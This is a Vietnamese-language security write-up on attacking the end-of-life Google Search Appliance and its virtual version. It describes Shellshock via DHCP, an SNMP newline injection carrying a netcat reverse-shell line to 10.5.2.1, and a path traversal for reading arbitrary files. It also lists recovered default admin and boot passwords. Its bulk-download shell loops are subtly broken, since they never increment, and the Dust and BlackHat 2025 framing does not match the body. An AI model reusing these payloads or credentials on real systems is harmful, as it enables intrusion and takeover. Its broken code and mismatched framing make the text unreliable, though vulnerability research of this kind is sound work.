GSA Research — VI
Avatar
Kr1dgez

Advisory Board - thành viên thuộc Synack Red Team

Tài liệu Research & Hacking Dust

Tài liệu phục vụ BlackHat Asia 2025. Được thực hiện bởi cố vấn cấp cao của Dave Gerry

Ảnh minh họa bài GSA
Hình 1. Ảnh minh họa.
Ngày: 2025-08-26

Tài liệu Research Dust System

TL;DR

  • RCE sau đăng nhập tại bảng điều khiển quản trị (Admin Console) của GSA.
  • Path traversal trên giao diện tìm kiếm của GSA dẫn tới đọc tệp tùy ý.
  • GSA dùng công nghệ Outside In của Oracle để chuyển đổi tài liệu.
  • Một số dịch vụ web của Google có các URI cố định cung cấp thông tin về chính dịch vụ.
Giới thiệu GSA và vGSA
Hình 2. Tổng quan GSA/vGSA.

Thu thập thiết bị & phần mềm

Tôi mua được thiết bị bằng cách tìm kiếm từ khóa “Google Search Appliance” trên eBay. May mắn là chiếc đầu tiên còn dữ liệu chưa xóa. Tới nay vẫn có thể bắt gặp thiết bị đang được rao bán.

Liên quan vGSA: các liên kết công khai ban đầu đã bị gỡ. Tôi tìm được tệp qua magnet BitTorrent:

magnet:?xt=urn:btih:89388ACE8C3B91FDD3A2F86D8CBB78C58A70D992

Tiếp đó, lần ra liên kết phần mềm phiên bản cũ từ Google Groups và dùng Wayback để suy luận quy tắc đặt tên tệp install_bundle-10000(3-chữ số)-7.(số).(số)-(số).bin, rồi viết shell script thử tải hàng loạt.

for((j=622;j<999;+j));do for((i=1;i<444;+i));do wget http://dl.google.com/dl/enterprise/install_bundle-10000$j-7.2.0-$i.bin;done;done
for((j=661;j<999;+j));do for((i=1;i<444;+i));do wget http://dl.google.com/dl/enterprise/install_bundle-10000$j-7.4.0-$i.bin;done;done
for((j=693;j<999;+j));do for((i=1;i<444;+i));do wget http://dl.google.com/dl/enterprise/install_bundle-10000$j-7.6.0-$i.bin;done;done

Kết hợp thêm thông tin tìm được trên Internet, Tôi truy hồi được danh sách tệp cài đặt và bản vá (ví dụ: install_bundle-10000661-7.2.0-270.bin, install_bundle-10000967-7.6.512-18.bin, v.v.).

Thu thập thiết bị và phần mềm
Hình 3. Thu thập thiết bị/phần mềm.

vGSA (Virtual Google Search Appliance)

Sau khi nhập VM, hệ thống mặc định chỉ cung cấp chức năng cấu hình mạng và không cho shell hệ thống. Tuy nhiên vì VM chạy trong môi trường của Tôi, thường có thể giành quyền hệ thống bằng các cách:

  • Chỉnh sửa trực tiếp tệp đĩa chưa mã hóa.
  • Sửa đổi bộ nhớ máy ảo.
  • Boot từ CD/đĩa của hệ điều hành khác.
  • Khai thác lỗ hổng đã biết.
  • Dùng mật khẩu quản trị/hệ thống hard-code.
vGSA cấu trúc
Hình 4. vGSA & cấu trúc dịch vụ.

CVE-2014-6271 (Shellshock)

Khi kiểm thử các thiết bị Linux đời đầu (đặc biệt họ RedHat), thường gặp lỗ hổng Shellshock, và vGSA 2008 cũng vậy. Chèn option 114 trong DHCP server sẽ đưa dữ liệu vào biến môi trường, kích hoạt lỗ hổng và thực thi lệnh. Ví dụ lệnh thử useradd zzzzgsa cho thấy được thực thi nhiều lần khi lỗi xuất hiện liên tục trên console.

Minh họa Shellshock trên vGSA
Hình 5. Khai thác Shellshock.

Quan sát hệ điều hành vGSA

Sau khi có quyền OS, Tôi khảo sát môi trường mạng, ứng dụng chạy và hệ thống tệp. Một số ghi nhận:

  • Phiên bản: 5.2.0.G.27.
  • Dịch vụ chủ yếu viết bằng C/C++, Java, Python.
  • Thư mục dịch vụ chính: /export/hda3.
  • /etc/shadow chứa tài khoản root với băm mật khẩu x███████████M.
  • Giao diện quản trị lắng nghe cổng 8000, 8443; mật khẩu mặc định admin: j0njlRXpU5CQ.
  • /.gnupg chứa khóa công/riêng ent_box_key; có google_license_key.
  • Thư mục .ssh/authorized_keys có nhiều khóa công; thư mục root có cặp khóa riêng.
  • Dùng Oracle Outside In để chuyển đổi tài liệu sang HTML.
  • Java Runtime có Security Manager.
  • Chức năng hỗ trợ kỹ sư dùng PPP tạo VPN; /etc/ppp/chap-secrets có mật khẩu ( z██████c、]███████T ).
  • Mật khẩu boot menu trong /etc/lilo.conf: cmBalx7.
  • /export/hda3/versionmanager/google_key.symmetric chứa chuỗi có vẻ là khóa mã hóa đối xứng.
  • /export/hda3/versionmanager/vmanager_passwd có 2 cặp username–password ( admin …, google … ).
Quan sát hệ điều hành vGSA
Hình 6. Quan sát hệ điều hành.

Các tiến trình cung cấp dịch vụ mạng (rút gọn):

CổngTiến trìnhNgôn ngữChức năng
22sshC/C++OpenSSH Server
2100adminrunner.pyPythonBackend admin console
4430/7800EnterpriseFrontendJavaFrontend admin (https/http)
7886tomcatJavaTomcat server
8000/9450EnterpriseAdminConsoleJavaAdmin console
19900feedergateC/C++ETL & feed

Dù có nhiều dịch vụ, đa phần kết nối bị chặn bởi iptables. Cấu hình chính:

# Redirect privileged ports.
-A PREROUTING -i eth0 -p tcp -m tcp --dport 80  -j REDIRECT --to-ports 7800
-A PREROUTING -i eth0 -p tcp -m tcp --dport 443 -j REDIRECT --to-ports 4430
... (rút gọn) ...
-A INPUT -i eth0 -p tcp -m tcp --dport 8000 -j ACCEPT
-A INPUT -i eth0 -p tcp -m tcp --dport 8443 -j ACCEPT
iptables và ánh xạ cổng
Hình 7. Cấu hình iptables & ánh xạ cổng.

Bề mặt tấn công TCP thực sự truy cập được:

CổngDịch vụVị trí chương trình
22ssh/usr/sbin/sshd
7800/4430EnterpriseFrontend/export/hda3/5.2.0/local/google/bin/EnterpriseFrontend.jar
19900feedergate/export/hda3/5.2.0/local/google/bin/feedergate
8000EnterpriseAdminConsole/export/hda3/5.2.0/local/google/bin/EnterpriseAdminConsole.jar
8443stunnel/usr/sbin/stunnel

Đáng chú ý, chuỗi trong /export/hda3/versionmanager/google_key.symmetric có thể dùng để giải mã nội dung các gói cài đặt. Sau khi có quyền bằng CVE-2014-6271 và giải mã được gói, phần nghiên cứu vGSA tạm kết thúc.

GSA (phần cứng)

Khi khởi động thiết bị đã cài, việc đổi thứ tự boot cần mật khẩu BIOS; giao diện quản lý thẻ RAID Dell H700 cũng bị giới hạn. Thử đọc trực tiếp ổ cứng thấy đây là ổ SED (Self-Encrypting Drive), cần mật khẩu để mở khóa. Có thể cân nhắc các hướng khác như đọc EEPROM BIOS để đổi boot order, dùng PCILeech đọc/ghi bộ nhớ để leo thang, hoặc tìm lỗ hổng phần mềm có thể truy cập — cách cuối cùng đơn giản và khả thi hơn.

Phần cứng GSA
Hình 8. Phần cứng GSA.

LF injection trong Admin Console

Sau khi đăng nhập bảng điều khiển, nhận thấy có tính năng lấy thông tin hệ thống qua SNMP và cho phép chèn chuỗi tùy ý. Thử kỹ thuật LF injection (chèn ký tự xuống dòng) vào sysContact để thêm chỉ thị extend:

extend shell /bin/nc -e /bin/sh 10.5.2.1 4444

Sau khi chèn, dùng snmpwalk kích hoạt extend để thực thi shell và nhận kết nối ngược thành công.

LF injection qua SNMP
Hình 9. LF injection trong Admin Console.

Đọc tệp tùy ý

Từ dòng 6.x, dịch vụ web 80/443 dùng Apache httpd; một số thư mục được reverse proxy tới các dịch vụ cục bộ (Tomcat) qua các luật RewriteRule. Khi proxy giữa nhiều web server, điểm kiểm thử thú vị là logic chuẩn hóa đường dẫn của Tomcat với mẫu ..;/. Ở thành phần dps, servlet DPSDownloadServlet chỉ kiểm tra chuỗi có chứa .. hay không. Do đó có thể chỉ định đường dẫn tuyệt đối để đọc mọi tệp cục bộ. Phiên bản cũ không có /font nhưng /dps/admin/admin có vấn đề tương tự (truyền logName để đọc tệp), có thể đọc được mật khẩu từ giao diện quản trị, bẻ băm, đăng nhập, bật SNMP và kết hợp kỹ thuật đầu tiên để thực thi lệnh với quyền root.

Đọc tệp tùy ý qua Tomcat path
Hình 10. Đọc tệp tùy ý.

Các phát hiện khác

URI nội bộ của dịch vụ web

Nhiều dịch vụ con giao tiếp qua HTTP, cung cấp các URL như /varz, /helpz, /procz. Có thể truy cập từ mạng tin cậy hoặc thông qua 127.0.0.1. Trên vGSA còn có tham số chạy dịch vụ useripheader=X-User-Ip; nếu gửi header này, có thể truy cập trực tiếp một số chức năng của admin console lộ ra bên ngoài. Endpoint /procz thậm chí có thể liệt kê executable và thư viện liên kết.

URI nội bộ dịch vụ web
Hình 11. URI nội bộ.

Danh sách mẫu thiết bị

MẫuHãngThông sốPhiên bảnSố tài liệu
Google MiniGigabytePentium III 1G / 2GB / 120G3.4.14300,000
Google Mini-002XSuperMicroPentium 4 3G / 2GB / 250G5.0.0unknown
Google GB-1001Dell Poweredge 2950Xeon / 16GB / 1.25TBunknown3,000,000
Google GB-7007Dell R710Xeon E5520 / 48GB / 3TBunknown10,000,000
Google GB-9009DellXeon X5560 / 96GB / 3.6TBunknown30,000,000
Google G100Dell R720XDunknownunknownunknown
Các mẫu thiết bị GSA
Hình 12. Các mẫu thiết bị.

Phiên bản nhân Linux

Phiên bản GSAPhiên bản Kernel
7.6.0Linux 3.14.44_gsa-x64_1.5 (gcc 4.9.x-google) #1 SMP Mon Nov 23 09:19:11 PST 2015
7.2.0Linux 3.4.3_gsa-x64_1.5 (gcc 4.6.x-google) #1 SMP Tue Jul 9 15:36:01 PDT 2013
7.0.14Linux 3.4.3_gsa-x64_1.3 (gcc 4.6.x-google) #1 SMP Thu Jul 19 11:59:57 PDT 2012
5.2.0Linux 2.6.20_vmw-smp_3.1 (gcc 4.1.1) #1 SMP Thu Jan 24 22:34:28 PST 2008
Phiên bản nhân Linux
Hình 13. Phiên bản nhân Linux.

Timeline

Thời gianSự kiện
2005/06/10Java Code Injection (CVE-2005-3757) báo cáo bởi H D Moore
2008/10/28Phát hành vgsa_20081028.7z (5.2.0)
2014/03/20XSS (CVE-2014-0362)
2016 đầu nămGoogle thông báo ngừng kinh doanh GSA
2017–2019Các bản 7.6.x phát hành tới 7.6.512.G18 (2019/04/26)
2023/06/04Hoàn tất bản nháp bài viết
Mốc thời gian
Hình 14. Mốc thời gian.

Kết luận

Dù GSA/vGSA đã kết thúc vòng đời, việc tìm hiểu cách Google gia tăng bảo mật và giảm bề mặt tấn công cho thiết bị vẫn mang lại nhiều kiến thức quý giá. Ngoài phạm vi bài viết này, Java Security Manager và seccomp của Linux đều được sử dụng trong GSA. Hướng nghiên cứu tiếp theo: dịch vụ feedergate (19900), lỗ hổng bộ nhớ trong Oracle Outside In, và sandbox convert_to_html dùng seccomp.

Kết luận nghiên cứu
Hình 15. Kết luận.

Tài liệu tham khảo

Demo

Khai thác Dust với lý thuyết nêu trên